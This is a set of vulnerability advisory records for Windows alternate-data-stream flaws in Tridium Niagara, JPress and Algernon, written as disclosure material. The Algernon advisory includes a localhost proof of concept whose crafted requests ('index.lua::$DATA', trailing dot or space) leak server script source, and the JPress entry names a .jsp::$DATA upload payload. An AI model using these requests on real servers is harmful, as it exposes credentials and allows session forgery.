CWE-69

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-3941",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-05-22T13:47:50.253374Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-05-22T13:52:36.314Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "affected",
          "platforms": [
            "Windows"
          ],
          "product": "Niagara Framework",
          "vendor": "Tridium",
          "versions": [
            {
              "lessThan": "4.14.2",
              "status": "affected",
              "version": "0",
              "versionType": "custom"
            },
            {
              "lessThan": "4.15.1",
              "status": "affected",
              "version": "0",
              "versionType": "custom"
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              "lessThan": "4.10.11",
              "status": "affected",
              "version": "0",
              "versionType": "custom"
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        {
          "defaultStatus": "affected",
          "platforms": [
            "Windows"
          ],
          "product": "Niagara Enterprise Security",
          "vendor": "Tridium",
          "versions": [
            {
              "lessThan": "4.14.2",
              "status": "affected",
              "version": "0",
              "versionType": "custom"
            },
            {
              "lessThan": "4.15.1",
              "status": "affected",
              "version": "0",
              "versionType": "custom"
            },
            {
              "lessThan": "4.10.11",
              "status": "affected",
              "version": "0",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "Andrea Palanca and team at Nozomi Networks"
        }
      ],
      "datePublic": "2025-05-08T16:59:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Improper Handling of Windows ::DATA Alternate Data Stream vulnerability in Tridium Niagara Framework on Windows, Tridium Niagara Enterprise Security on Windows allows Input Data Manipulation. This issue affects Niagara Framework: before 4.14.2, before 4.15.1, before 4.10.11; Niagara Enterprise Security: before 4.14.2, before 4.15.1, before 4.10.11.Tridium recommends upgrading to Niagara Framework and Enterprise Security versions 4.14.2u2, 4.15.u1, or 4.10u.11."
            }
          ],
          "value": "Improper Handling of Windows ::DATA Alternate Data Stream vulnerability in Tridium Niagara Framework on Windows, Tridium Niagara Enterprise Security on Windows allows Input Data Manipulation. This issue affects Niagara Framework: before 4.14.2, before 4.15.1, before 4.10.11; Niagara Enterprise Security: before 4.14.2, before 4.15.1, before 4.10.11.Tridium recommends upgrading to Niagara Framework and Enterprise Security versions 4.14.2u2, 4.15.u1, or 4.10u.11."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-153",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-153 Input Data Manipulation"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.4,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
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              "lang": "en",
              "value": "GENERAL"
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      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-69",
              "description": "CWE-69 Improper Handling of Windows ::DATA Alternate Data Stream",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-05-22T12:48:36.986Z",
        "orgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
        "shortName": "Honeywell"
      },
      "references": [
        {
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://www.honeywell.com/us/en/product-security#security-notices"
        },
        {
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://docs.niagara-community.com/category/tech_bull"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "Improper Handling of Windows: DATA Alternate Data Stream",
      "x_generator": {
        "engine": "Vulnogram 0.2.0"
      }
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  },
  "cveMetadata": {
    "assignerOrgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
    "assignerShortName": "Honeywell",
    "cveId": "CVE-2025-3941",
    "datePublished": "2025-05-22T12:38:15.750Z",
    "dateReserved": "2025-04-25T15:21:18.048Z",
    "dateUpdated": "2025-05-22T13:52:36.314Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-43033"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-69"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-22T01:15:03Z",
    "severity": "HIGH"
  },
  "details": "JPress through 5.1.1 on Windows has an arbitrary file upload vulnerability that could cause arbitrary code execution via ::$DATA to AttachmentController, such as a .jsp::$DATA file to io.jpress.web.commons.controller.AttachmentController#upload. NOTE: this is unrelated to the attack vector for CVE-2024-32358.",
  "id": "GHSA-hpf9-cfgc-pw67",
  "modified": "2024-08-22T18:31:21Z",
  "published": "2024-08-22T03:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43033"
    },
    {
      "type": "WEB",
      "url": "https://github.com/JPressProjects/jpress/issues/188"
    },
    {
      "type": "WEB",
      "url": "https://cwe.mitre.org/data/definitions/69.html"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lazy-forever/CVE-Reference/tree/main/2024/43033"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.17.8"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/xyproto/algernon"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.17.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52792"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-69"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T20:46:42Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nAlgernon selects its file handler from `filepath.Ext()` (engine/handlers.go:134), which does not treat the NTFS-equivalent names `x.lua::$DATA`, `x.lua.`, or `x.lua ` as `.lua`. On Windows, an unauthenticated client appends one of these suffixes to any server-side script on a public path and receives its raw source instead of executed output, leaking embedded secrets such as database credentials and the `SetCookieSecret` value.\n\nLinux and macOS hosts are unaffected.\n\n### Preconditions\n\n- Algernon runs on a Windows host (NTFS filesystem).\n- The instance serves at least one server-side script (`.lua`, `.tl`, `.po2`, `.amber`, `.frm`).\n- The script sits on a public path, or no auth backend is configured (`--nodb`, `--simple`, or default no-DB).\n- HTTP/HTTPS reachability to the server.\n\n### Details\n\n```go\n// engine/handlers.go:133\nlowercaseFilename := strings.ToLower(filename)\next := filepath.Ext(lowercaseFilename) // \"index.lua::$data\" -\u003e \".lua::$data\", not \".lua\"  [offending]\n...\nif ac.dispatchRenderer(w, req, filename, ext) { // ext unrecognised, returns false\n    return\n}\nswitch ext {\ncase \".lua\", \".tl\": // execute the script -- never reached for the equivalent forms\n    // ... RunLua ...\ndefault:\n    // control reaches the raw-file branch below\n}\n```\n\n```go\n// engine/handlers.go:452\nf, err := os.Open(filename) // NTFS resolves \"index.lua::$DATA\" to index.lua\u0027s data stream\n...\n// engine/handlers.go:479\nif dataBlock, err := ac.ReadAndLogErrors(w, filename, ext); err == nil {\n    dataBlock.ToClient(w, req, filename, ac.ClientCanGzip(req), gzipThreshold) // raw source to client\n}\n```\n\nThe request path reaches `FilePage` through `URL2filename` (utils/files.go:24), which rejects only `..`; a `:`, a trailing `.`, and a trailing space all pass through into `filename`. `filepath.Ext` does an exact suffix match, so `.lua::$data`, `.`, and `.lua ` are not equal to `.lua` or `.tl`. The renderer registry and the execute case are both skipped and control falls to the `default` branch.\n\nThe default branch opens `filename` with `os.Open` and streams the bytes verbatim. On Windows, NTFS canonicalises the alternate-data-stream suffix `::$DATA`, a trailing dot, and a trailing space back to the underlying file, so the bytes returned are the real script source. The missing check: Algernon never rejects or canonicalises Windows-equivalent filenames before choosing a handler.\n\n### Proof of concept\n\n**Setup**\n\n1. Build Algernon from source on a Windows host:\n\n   ```powershell\n   git clone https://github.com/xyproto/algernon\n   cd algernon\n   git checkout v1.17.8\n   go build -o algernon.exe .\n   ```\n\n2. Create a web root with a script that embeds secrets, exactly as a real handler would:\n\n   ```powershell\n   New-Item -ItemType Directory webroot | Out-Null\n   Set-Content webroot\\index.lua @\u0027\n   -- db = POSTGRES(\"postgres://app:S3cr3t@db/prod\")\n   SetCookieSecret(\"hardcoded-session-key\")\n   print(\"\u003ch1\u003ehello\u003c/h1\u003e\")\n   \u0027@\n   ```\n\n3. Serve the directory over plain HTTP with no auth backend (run in its own window):\n\n   ```powershell\n   .\\algernon.exe --httponly --noninteractive --nodb --addr \u0027:8088\u0027 --dir .\\webroot\n   ```\n\n**Exploit**\n\n1. Request the script normally. It executes, and the source is not disclosed:\n\n   ```powershell\n   curl.exe -s http://127.0.0.1:8088/index.lua\n   ```\n\n   Expected: `\u003ch1\u003ehello\u003c/h1\u003e`. The DSN and cookie secret are absent from the response.\n\n2. Request the same script through its NTFS `::$DATA` stream. Algernon returns the raw source:\n\n   ```powershell\n   curl.exe -s --path-as-is \u0027http://127.0.0.1:8088/index.lua::$DATA\u0027\n   ```\n\n   Expected: HTTP 200, `Content-Type: application/octet-stream`, body is the verbatim Lua source including `SetCookieSecret(\"hardcoded-session-key\")` and the Postgres DSN.\n\n3. The trailing-dot and trailing-space forms leak the same source:\n\n   ```powershell\n   curl.exe -s --path-as-is \u0027http://127.0.0.1:8088/index.lua.\u0027\n   curl.exe -s --path-as-is \u0027http://127.0.0.1:8088/index.lua%20\u0027\n   ```\n\n   Expected: identical raw-source response for both.\n\n### Impact\n\n- **Confidentiality:** Reads the verbatim source of any public-path server-side script, exposing hardcoded DB credentials, API keys, and `SetCookieSecret(...)` values.\n- **Authentication:** A disclosed `SetCookieSecret` value lets an unauthenticated attacker forge session cookies and log in as any user.\n\n### Suggestions to fix\n\n\u003e _This has not been tested - it is illustrative only._\n\nReject request paths whose final segment uses a Windows-equivalent form (alternate data stream, trailing dot, or trailing space) before extension dispatch.\n\n```diff\n func (ac *Config) FilePage(w http.ResponseWriter, req *http.Request, filename, luaDataFilename string) {\n+\t// Reject Windows filename-equivalent forms that alias a different file\n+\t// than filepath.Ext sees (e.g. \"x.lua::$DATA\", \"x.lua.\", \"x.lua \").\n+\tif base := filepath.Base(filename); strings.ContainsRune(base, \u0027:\u0027) ||\n+\t\tstrings.HasSuffix(base, \".\") || strings.HasSuffix(base, \" \") {\n+\t\thttp.NotFound(w, req)\n+\t\treturn\n+\t}\n \tif ac.quitAfterFirstRequest {\n \t\tgo ac.quitSoon(\"Quit after first request\", defaultSoonDuration)\n \t}\n```",
  "id": "GHSA-mm6c-5j6x-hq8m",
  "modified": "2026-07-02T20:46:43Z",
  "published": "2026-07-02T20:46:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xyproto/algernon/security/advisories/GHSA-mm6c-5j6x-hq8m"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xyproto/algernon"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Algernon vulnerable to server-side script source disclosure on Windows via NTFS filename"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-3941"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-69",
      "CWE-706"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-22T13:15:57Z",
    "severity": "MODERATE"
  },
  "details": "Improper Handling of Windows ::DATA Alternate Data Stream vulnerability in Tridium Niagara Framework on Windows, Tridium Niagara Enterprise Security on Windows allows Input Data Manipulation. This issue affects Niagara Framework: before 4.14.2, before 4.15.1, before 4.10.11; Niagara Enterprise Security: before 4.14.2, before 4.15.1, before 4.10.11.Tridium recommends upgrading to Niagara Framework and Enterprise Security versions 4.14.2u2, 4.15.u1, or 4.10u.11.",
  "id": "GHSA-q524-5rg8-2j6p",
  "modified": "2025-05-22T15:34:49Z",
  "published": "2025-05-22T15:34:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3941"
    },
    {
      "type": "WEB",
      "url": "https://docs.niagara-community.com/category/tech_bull"
    },
    {
      "type": "WEB",
      "url": "https://www.honeywell.com/us/en/product-security#security-notices"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}